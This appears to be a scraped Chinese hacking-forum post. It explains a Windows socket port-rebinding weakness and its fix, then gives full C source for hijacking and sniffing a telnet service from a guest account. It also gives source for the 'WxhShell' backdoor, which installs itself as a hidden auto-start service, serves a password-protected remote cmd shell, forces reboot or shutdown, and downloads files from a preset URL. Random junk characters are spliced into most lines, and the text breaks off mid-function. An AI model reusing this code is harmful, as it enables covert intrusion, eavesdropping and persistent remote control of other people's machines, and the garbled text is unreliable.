在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
9p9:nx\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
cK1r9ED| tg7%@SI5^- saddr.sin_family = AF_INET;
HT[<~c :>\ i saddr.sin_addr.s_addr = htonl(INADDR_ANY);
m';:): I[c/)
N bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[qI, $ + !QSL8v@c 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Jx.Jx~ "tn]s>iAd= 这意味着什么?意味着可以进行如下的攻击:
Z ZX|MA! :-69,e 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9]xOuCb /MosE,7l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
k-*H=km L|u\3.: 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Kj;Q;Ii ;SagN 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#JWW ;M6F Nw/4z$].J 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
=NQDxt} Cevl#c5p> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
g-bHf]' wC}anq>> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&) T5V +%UfnbZ #include
/hQTV!\u #include
0h_ 9 #include
<V5(5gx #include
L(fOe3
v DWORD WINAPI ClientThread(LPVOID lpParam);
g\,pZ]0i int main()
P>9F(#u_(F {
MRV4D<NQ WORD wVersionRequested;
N!
}p DWORD ret;
C-V,3}=*2 WSADATA wsaData;
~+/IzckrG BOOL val;
Wj(O_2
SOCKADDR_IN saddr;
zN:VT& SOCKADDR_IN scaddr;
bzF>Efza int err;
-B* = V SOCKET s;
;%0$3a SOCKET sc;
x&@. [FJhO int caddsize;
zgI!S6q HANDLE mt;
'-N `u$3Y DWORD tid;
|Rd?s0u wVersionRequested = MAKEWORD( 2, 2 );
-r@fLkwg err = WSAStartup( wVersionRequested, &wsaData );
sn+g#v9e if ( err != 0 ) {
^KM' O8 printf("error!WSAStartup failed!\n");
wDVKp[' return -1;
&CpxD."8x }
G%jgr"]\z saddr.sin_family = AF_INET;
'JU(2mF nm`[\3R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
M ~zA !ow:P8K? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:k*'MU} saddr.sin_port = htons(23);
{E@Fk, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
LP-~; {
HIsIW%B printf("error!socket failed!\n");
W8z4<o[$ return -1;
O3/][\ }
A<fKO <d val = TRUE;
;4>YPH //SO_REUSEADDR选项就是可以实现端口重绑定的
Tty_P, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
o$;t {
Ti$G2dBO printf("error!setsockopt failed!\n");
WK)hj{k return -1;
PV$)k>H- }
6<u=hhL //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[ uU"=H| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
AJ}QS?p8s //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
B52n'. mvgsf(a*' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
EmNJ_xY {
6Ri+DPf: ret=GetLastError();
RtO3!dGT. printf("error!bind failed!\n");
[
R return -1;
b
5<&hN4g }
f>!)y- 7 listen(s,2);
c<bV3, while(1)
cvxYuP~ {
c%+/TO caddsize = sizeof(scaddr);
p!B&&)&db //接受连接请求
v3PtiKS sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
o&0fvCpW if(sc!=INVALID_SOCKET)
;-sZaU; {
FjR/_GPo6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
MdXOH$ps if(mt==NULL)
!IF]P# {
C@d*t? printf("Thread Creat Failed!\n");
DcYL8u break;
.8e]-^Z }
])OrSsV} }
P1C{G'cR CloseHandle(mt);
/S2lA> }
(KxI* closesocket(s);
C# zYZ JZ WSACleanup();
1Xzgm0OS; return 0;
J>Pc@,y }
Cm@rXA/ DWORD WINAPI ClientThread(LPVOID lpParam)
}?G([s56 {
S!WG|75B SOCKET ss = (SOCKET)lpParam;
#O 2g]YH SOCKET sc;
"o_s=^U unsigned char buf[4096];
C 2t] SOCKADDR_IN saddr;
X})5XYvA* long num;
^Gi9&fS, DWORD val;
[l44,!Z& DWORD ret;
E$SYXe [, //如果是隐藏端口应用的话,可以在此处加一些判断
c"KN;9c, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Db4(E*/pj! saddr.sin_family = AF_INET;
t2x2_;a saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zVt1Ta:j saddr.sin_port = htons(23);
lCafsIB if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
X* 4C?v {
I+2#k\y printf("error!socket failed!\n");
xmVW6 ,<? return -1;
H=lzW_( }
?vt#M^Q
val = 100;
T*o!#E. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=&T%Jm} {
d?:KEi-<7 ret = GetLastError();
K@%o$S?>z_ return -1;
L a>fvm }
D/[;Y<X#V if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n?Zt\Kto {
w#6)XR|+,. ret = GetLastError();
u,RR|/@ return -1;
5
w-Pq&q }
H4B|c42 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
F$/7X~* {
21k,{FB'? printf("error!socket connect failed!\n");
=/5^/vwgY closesocket(sc);
[~NJf3c" closesocket(ss);
j(~e{HZ return -1;
f/7on|bv }
&u`EYxT while(1)
qu\cU(H| {
8k{KnH //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
A_eO //如果是嗅探内容的话,可以再此处进行内容分析和记录
"DO|B=EejP //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2#
72B num = recv(ss,buf,4096,0);
Bnp\G h if(num>0)
UuS6y9@v send(sc,buf,num,0);
Qm_IU!b else if(num==0)
W Og pDs break;
2dsXG$-W2 num = recv(sc,buf,4096,0);
`cQAO1-5 if(num>0)
'VpzB
s# send(ss,buf,num,0);
]l7 r M" else if(num==0)
Nl]_Ie6 break;
%1mIngW=g }
NufRd/q closesocket(ss);
="p,~ivrz closesocket(sc);
aT4I sPA?_ return 0 ;
MgO_gFr }
<
]"Uy p n\ 'PNB bL`>#M_^ ==========================================================
;n q"jm hbdB67, 下边附上一个代码,,WXhSHELL
Mfn^v:Q# T)MX]T ==========================================================
Tw,|ZA4XH 6E@TcN~,! #include "stdafx.h"
|A.nP9 hW dVMduo #include <stdio.h>
Sx:JuK@ #include <string.h>
`+h+X9 #include <windows.h>
mxnu\@}( #include <winsock2.h>
d>gQgQ;g #include <winsvc.h>
W7W(jMH #include <urlmon.h>
BZQ"[-V{ M
~;]d #pragma comment (lib, "Ws2_32.lib")
H Y~[/H+: #pragma comment (lib, "urlmon.lib")
-zg 6^f_pW /HH_Zi0?N| #define MAX_USER 100 // 最大客户端连接数
VS\| f'E #define BUF_SOCK 200 // sock buffer
;il+C!6zpf #define KEY_BUFF 255 // 输入 buffer
A]laS7Q :}UjX|D #define REBOOT 0 // 重启
82)%`$yZw[ #define SHUTDOWN 1 // 关机
e'yw8U5E/ g@'2 :'\ #define DEF_PORT 5000 // 监听端口
>*/:"!u NR,R.N^[ #define REG_LEN 16 // 注册表键长度
tkYPfUvTE #define SVC_LEN 80 // NT服务名长度
\kZ@2.pN C);3GPp // 从dll定义API
XRmE typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\_(|$Dhq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
nx(jYXVT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0.S7uH%" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
C#V_Gb }uwZS=pw // wxhshell配置信息
/PVx struct WSCFG {
U2)?[C1q{ int ws_port; // 监听端口
-mP2}BNM char ws_passstr[REG_LEN]; // 口令
5)Z:J int ws_autoins; // 安装标记, 1=yes 0=no
b0sj0w / char ws_regname[REG_LEN]; // 注册表键名
7g5Pc_ char ws_svcname[REG_LEN]; // 服务名
cA+T-A] char ws_svcdisp[SVC_LEN]; // 服务显示名
l)e6*sDZ, char ws_svcdesc[SVC_LEN]; // 服务描述信息
6?ky~CV char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Z;z,dw int ws_downexe; // 下载执行标记, 1=yes 0=no
m
7S`u char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
27i-B\r char ws_filenam[SVC_LEN]; // 下载后保存的文件名
l_s#7 .9$ L&KL]n };
P2&0bNY Kum" }ux // default Wxhshell configuration
^M1jv( struct WSCFG wscfg={DEF_PORT,
Uw]o9 e0S "xuhuanlingzhe",
}vU^gPH 1,
Py?e+[cN "Wxhshell",
|{ =Jp<}s "Wxhshell",
I s|_ "WxhShell Service",
E9b>wP "Wrsky Windows CmdShell Service",
1+"d-`'Z2O "Please Input Your Password: ",
qpQiMiB#g' 1,
]Q,&7D
Ah "
http://www.wrsky.com/wxhshell.exe",
w`EC6ZN "Wxhshell.exe"
GTi=VSGqF };
n{\d Hh%"
// 消息定义模块
i%GiWanG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Z`f?7/"B char *msg_ws_prompt="\n\r? for help\n\r#>";
'pyIMB?x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
O6vHo3k char *msg_ws_ext="\n\rExit.";
pHowioFx char *msg_ws_end="\n\rQuit.";
n2dOCntN> char *msg_ws_boot="\n\rReboot...";
DQ}&J char *msg_ws_poff="\n\rShutdown...";
o=RxQk1N char *msg_ws_down="\n\rSave to ";
TV|Z$,6l qC=9m[MI char *msg_ws_err="\n\rErr!";
37biRXqLH char *msg_ws_ok="\n\rOK!";
aTfc>A; <I*N=;7 char ExeFile[MAX_PATH];
g\9&L/xDN int nUser = 0;
f*:N*cC HANDLE handles[MAX_USER];
wy^mh.= UX int OsIsNt;
/l$fQ:l bxPJ5oT SERVICE_STATUS serviceStatus;
A>,kmU5 SERVICE_STATUS_HANDLE hServiceStatusHandle;
S(Z\h_m( WL|71?@C // 函数声明
:`K2?;DC8 int Install(void);
03AQB;. int Uninstall(void);
3s?ZyQy int DownloadFile(char *sURL, SOCKET wsh);
KYy oN int Boot(int flag);
GDs/U1[* void HideProc(void);
r"7PSJ int GetOsVer(void);
@NiLKcL# int Wxhshell(SOCKET wsl);
\Unawv~ void TalkWithClient(void *cs);
{3SK|J` int CmdShell(SOCKET sock);
<Qr*!-Kc6 int StartFromService(void);
elR1NhB|p int StartWxhshell(LPSTR lpCmdLine);
Bp5%&T k t<"`gM^| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
j+>[~c;0) VOID WINAPI NTServiceHandler( DWORD fdwControl );
-tx%#(?wH c(29JZ // 数据结构和表定义
Zx`/88!x[ SERVICE_TABLE_ENTRY DispatchTable[] =
"$b{EYq6 {
N
A_8<B^ {wscfg.ws_svcname, NTServiceMain},
N?8nlrDQ {NULL, NULL}
bl^pMt1fv };
'K}2 m EiP N44( // 自我安装
]T(qk int Install(void)
&xvNR=K[` {
E:O/=cT char svExeFile[MAX_PATH];
vXZP> HKEY key;
?%%vQ? strcpy(svExeFile,ExeFile);
3g:P>( SmRFxqtN // 如果是win9x系统,修改注册表设为自启动
1NG[ if(!OsIsNt) {
ny!80I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M04u>|
, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
IF@vl RegCloseKey(key);
=*.S<Ko) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/cVZ/" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
vR pO0qG RegCloseKey(key);
Q<DXDvL return 0;
>s!k"s, }
Y9
Bk$$#\ }
asE.!g? }
z).&0K else {
QxuU3#l \F\xZ.r // 如果是NT以上系统,安装为系统服务
RH$l?j6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
o.Bbb=*rZ if (schSCManager!=0)
D(&Zq7]n {
t8; nP[` SC_HANDLE schService = CreateService
rWqr-"0S. (
zGc]*R schSCManager,
"uj@!SEs`? wscfg.ws_svcname,
-<AGCiLz wscfg.ws_svcdisp,
dj4a)p|YN SERVICE_ALL_ACCESS,
@HE?G SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
In;P33'p SERVICE_AUTO_START,
i5_l//] SERVICE_ERROR_NORMAL,
O;&5>
W,Z svExeFile,
t\PSB NULL,
(WP^}V5 NULL,
7Bd=K=3u NULL,
n
4cos NULL,
HX,i{aWWy NULL
~0o>B$xJ );
naA8RD5/ if (schService!=0)
sO!m,pK( {
|9BX
~`{ CloseServiceHandle(schService);
_;/+8= CloseServiceHandle(schSCManager);
(]VY==t~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+bR|;b(v strcat(svExeFile,wscfg.ws_svcname);
1. <g C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
F7/%,vf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
uJ fXe RegCloseKey(key);
PBcb*7W return 0;
/n:Q>8^n'W }
V}~',o<m }
|N3#of( CloseServiceHandle(schSCManager);
32y 9r z }
yigq#h^ }
3hEbM'L KdzV^6K<c return 1;
>wFn|7\)s> }
]r%fAmj 3qDbfO[ // 自我卸载
``@e7~F{ int Uninstall(void)
)>iPx.hVSS {
bj_/ HKEY key;
Z.rhM[*+0C >z%WW&Z' if(!OsIsNt) {
~BE=z: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
I]pz3!On4, RegDeleteValue(key,wscfg.ws_regname);
|Ho}
D~ RegCloseKey(key);
&' y}L' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RSw;b.t7 RegDeleteValue(key,wscfg.ws_regname);
7osHKO<?2 RegCloseKey(key);
aWP9i& return 0;
M"msLz }
@3U=kO(^+\ }
'F:Tv[qx }
gNkBHwv else {
Fiw^twz5 3Tc90p l*t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?%D nIl> if (schSCManager!=0)
Z^%HDB9^ {
0Pt%(^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
dQAF;L if (schService!=0)
{Q`Q2'@ {
QF22_D<.}J if(DeleteService(schService)!=0) {
`D$RL*C;M` CloseServiceHandle(schService);
j0n.+CO-{ CloseServiceHandle(schSCManager);
)(c%QWz return 0;
v-"nyy-&Z }
!kH 1| CloseServiceHandle(schService);
0,8RA_Ca} }
l%?()]y CloseServiceHandle(schSCManager);
92N `Q} }
\J;]g\&I" }
&IsPqO ~jz51[{v return 1;
rZ.z!10 }
o,?h}@ *D`$oK,U // 从指定url下载文件
6TXTJ]er int DownloadFile(char *sURL, SOCKET wsh)
;<%th {
~at:\h4: HRESULT hr;
T&:~= char seps[]= "/";
Um*&S.y char *token;
S0LaQ<9. char *file;
NQcg}y char myURL[MAX_PATH];
C0>L<*C char myFILE[MAX_PATH];
23a:q{R |1e//* strcpy(myURL,sURL);
}KNBqPo4B token=strtok(myURL,seps);
ZqjLZ9?q while(token!=NULL)
: &~LPmJ {
$U)nrni file=token;
Pmd5P:n*, token=strtok(NULL,seps);
<7gv<N6BQf }
"x0KiIoPk ?N@[R]; GetCurrentDirectory(MAX_PATH,myFILE);
zH#urF6< strcat(myFILE, "\\");
5{v uN)K3 strcat(myFILE, file);
0h{&k7T<7 send(wsh,myFILE,strlen(myFILE),0);
GNHW bC6_m send(wsh,"...",3,0);
|8)\8b|VuC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
IP)%y%ycw if(hr==S_OK)
I%B\Wy/j^ return 0;
UA*Kuad else
K `A8N return 1;
X/m~^ ^f,%dM=i= }
Blj<|\igc \6aisK // 系统电源模块
=Tfm~+7nE int Boot(int flag)
r$x;rL4 {
7mtg HANDLE hToken;
jw0wR\1 TOKEN_PRIVILEGES tkp;
sk3AwG;A Pa$"c?QUy if(OsIsNt) {
::-*~CH) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
gyT0h?xDt LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
;Sp/N4+ tkp.PrivilegeCount = 1;
H6/gRv@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
FC]n?1?<( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8==_43 if(flag==REBOOT) {
F6>oGmLy if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0Fsa&<{6? return 0;
9o3? }
k-)Ls~#+ else {
2h)Qz+|7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
}KEr@h,N return 0;
*u < ZQq }
)#`&[9d- }
bU/YU0ZIT else {
'T;;-M3* if(flag==REBOOT) {
-D%mVe)&+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
I<+:Ho=6 return 0;
"z_},TCy }
rFp>A`TJ else {
?0qP6'nWx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
k^zU; return 0;
^uPg71r: }
WF2t{<]^e }
Dt iM}=: 0]^gT' return 1;
o%0To{MAF- }
iO2jT+i ~@T`0W-Py // win9x进程隐藏模块
%J1oz3n void HideProc(void)
Jje!*?&8X {
x@[6u k~,
k@mR HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,ne3uPRu7~ if ( hKernel != NULL )
O%px>rdkY {
ud"Kko Rt pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
=1<v1s|)q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#Jr4LQ@A9 FreeLibrary(hKernel);
O{Z${TC[ }
;82?ACCP 0sB[]E|7[s return;
a|4Q6Ycu }
'rA(+-.M; Iyb_5 UmpF // 获取操作系统版本
t J&tNSjTi int GetOsVer(void)
qVjMflVoay {
h
9}x6t, OSVERSIONINFO winfo;
>2X-98, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
IaU%L6Q] GetVersionEx(&winfo);
&
x_
#zN] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Eh$1piJG return 1;
BO%'/2eV else
hML-zZ return 0;
'|<S`,'#hg }
xV=Tmu6l '}"&JO~vPj // 客户端句柄模块
+oL@pp0 int Wxhshell(SOCKET wsl)
\1QY=} {
*kEzGgTzoS SOCKET wsh;
'K#ndCGJ$ struct sockaddr_in client;
%joL}f[ DWORD myID;
<Y$(
lszT )V&hS5P=S while(nUser<MAX_USER)
4yjIR? {
\k^ojz J int nSize=sizeof(client);
8 VhU)fY wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
g!9|1z if(wsh==INVALID_SOCKET) return 1;
l[rK)PM I0!]J{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
<1
;pyw
y if(handles[nUser]==0)
e+MQmWA'F closesocket(wsh);
yrd1J$ else
vTTXeS-b nUser++;
<XN=v!2; }
NCl@C$W9q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
d`~~Ww1 5}c8v2R:B return 0;
bvZ:5M }
c] t@3 m h_SkX@"/- // 关闭 socket
II!~"-WH void CloseIt(SOCKET wsh)
=G"ney2 {
vu#ZLq closesocket(wsh);
+w"?q'SnF nUser--;
oYt 34@{? ExitThread(0);
C\B4Uu6q }
1 vtC4` 8m=O408Q // 客户端请求句柄
OmS8cSYGc void TalkWithClient(void *cs)
ncUS8z {
GR4DxlX NFKvgd@ SOCKET wsh=(SOCKET)cs;
;47z.i&T char pwd[SVC_LEN];
sx}S,aIU char cmd[KEY_BUFF];
!&NrbiuN char chr[1];
`uH7~ r^ int i,j;
O;|Cu7WU kX8NRPW while (nUser < MAX_USER) {
iq[IZdza xc\zRsY` if(wscfg.ws_passstr) {
OA(.&5] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F\L!.B //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D/GE-lq //ZeroMemory(pwd,KEY_BUFF);
RBBmGZ i=0;
>k/cm3 while(i<SVC_LEN) {
8/&4l,M5 51y#AQ@ // 设置超时
h72CGA| fd_set FdRead;
" 0m4&K(3, struct timeval TimeOut;
h9#)Eo FD_ZERO(&FdRead);
UGj |)/ FD_SET(wsh,&FdRead);
fc9@l a TimeOut.tv_sec=8;
]5Dh<QY&. TimeOut.tv_usec=0;
R=F_U int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]V_A4Df if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:2&"ak>N ODhq
`?(N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
xwi6#> pwd
=chr[0]; `E?0jQ
if(chr[0]==0xd || chr[0]==0xa) { x~wS/y
pwd=0;
>]~|Nf/i
break; }a.j~>rq
} zn7)>cQ905
i++; HD/!J9&
} %OHZOs
%.?V\l
// 如果是非法用户,关闭 socket 4^M"V5tDx
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /-G_0A2wF
} ai-rF^ehC
Bc[~'gn
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eZN"t~\rX
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "H<us?r{
k)|.<
while(1) { S2_(lS+R
L+(ng
ZeroMemory(cmd,KEY_BUFF); ~!!|#A)W
|ns?c0rM
// 自动支持客户端 telnet标准 >]z^.U7=
j=0; Z6A-i@
while(j<KEY_BUFF) { /XEW]/4
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JXYZ5&[
cmd[j]=chr[0]; ~x#TfeU]
if(chr[0]==0xa || chr[0]==0xd) { "=T&SY
cmd[j]=0; b*M?\ aA
break; d]"4aS
} CgrQ"N5
j++; J}:.I>
} XNv2xuOc J
^W,5A;*3
// 下载文件 !hhL",
if(strstr(cmd,"http://")) { ~rJG4U
send(wsh,msg_ws_down,strlen(msg_ws_down),0); yxo=eSOM
if(DownloadFile(cmd,wsh)) ,^97Ks
;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0FgF,
else %S}uCqcAK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6/Xs}[iJ
} ,3y9yJQa*#
else { ]L7A$sTUQ
2R.LLE
switch(cmd[0]) { _Uq' N0U
KP>9hEh
// 帮助 ^}B,0yUu'
case '?': { =4a:)g'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +8T^q,
break; $R1I(sJ
} ,0q1Id
// 安装 ]MosiMJF
case 'i': { X["xC3 i
if(Install()) %.<_+V#h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Xqxuy
]J
else mV$ebFco0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4n@lrcq(
break; ?(R3%fU
} Es%f@$0uy
// 卸载 yy7(')wKO
case 'r': { .t5.(0Xk[A
if(Uninstall()) HdJ g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %BP>,E/w
else k[;)/LfhS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N}K
[Q=
break; ?YLq
iAA
} ~<m^
// 显示 wxhshell 所在路径 _y_}/
case 'p': { {YzCgf
char svExeFile[MAX_PATH]; f7lj,GAZ
strcpy(svExeFile,"\n\r"); [eDrjf3m
strcat(svExeFile,ExeFile); MMs~f*
send(wsh,svExeFile,strlen(svExeFile),0); .4)oZ
break; !S#3mT-
} R[a-"
// 重启 .qO4ceW2-~
case 'b': { 1x:W 3.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >8>!wi9U
if(Boot(REBOOT)) iM)K:L7d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =GPXuo
else { 3k`Q]O=OU
closesocket(wsh); LV^^Bd8Ct
ExitThread(0); v$|~
g'6
} 3SP";3+
break; :*M?RL@j
} 30!DraW8
// 关机 (WyNO QO'
case 'd': { e~N&?^M
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -AdDPWn
if(Boot(SHUTDOWN)) 0\P5=hD)K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >.d/@3
'
else { w`)5(~b
closesocket(wsh); W2
-%/
ExitThread(0); `$B?TNuch7
} ~oa}gJl:}-
break; ]P0%S@]
} &v{#yzM
// 获取shell gEd A
hfx
case 's': { e0zP LU}
CmdShell(wsh); olE(#}7V
closesocket(wsh); u
]e-IYH
ExitThread(0); OlOOg
break; i/x |c!E
} x#D%3v"l_*
// 退出 p"ZvA^d\
case 'x': { K381B5_h
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -e/}DGL
CloseIt(wsh); wUv?;Y$C
break; b>;?{
} | ys5.|
// 离开 ga5Q
case 'q': { 9\_AB.Z:
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /?'~`4!(
closesocket(wsh); ("2X8(3z
WSACleanup(); M:/NW-:
exit(1); ws'e
break; .Vbd-jr'M
} *[Z`0AgP
} tYu<(Z(l)
} 'x*C#mt
bY" zK',m
// 提示信息 xsZG(Tz
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x77L"5g
} u}@N
Qeg
} ba|xf@=&
D&%8JL
return; 9zwD%3Ufn
} 4X+xh|R:U
k pgA2u7
// shell模块句柄 n/_q
int CmdShell(SOCKET sock) .G{cx=;
{ 3K
&637
STARTUPINFO si; W{F)YyR{.
ZeroMemory(&si,sizeof(si)); ys9:";X;}
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >dl5^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |>;PV4])(
PROCESS_INFORMATION ProcessInfo; ,*|Q=
char cmdline[]="cmd"; 9 C[~*,qx
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Nk7y2[
return 0; I%5vI}
} nn7LL+h
Q,KNZxT,q
// 自身启动模式 hIe .Mv-I)
int StartFromService(void) .-Lrrk)R+
{ g0B] ;Y>(
typedef struct d&+]@ Ii
{ z%8`F%2
DWORD ExitStatus; d%7?913
DWORD PebBaseAddress; zZCl]cql
DWORD AffinityMask; >+M[!;m}
DWORD BasePriority; FRQ.ix2
ULONG UniqueProcessId; {-4+=7Sg1
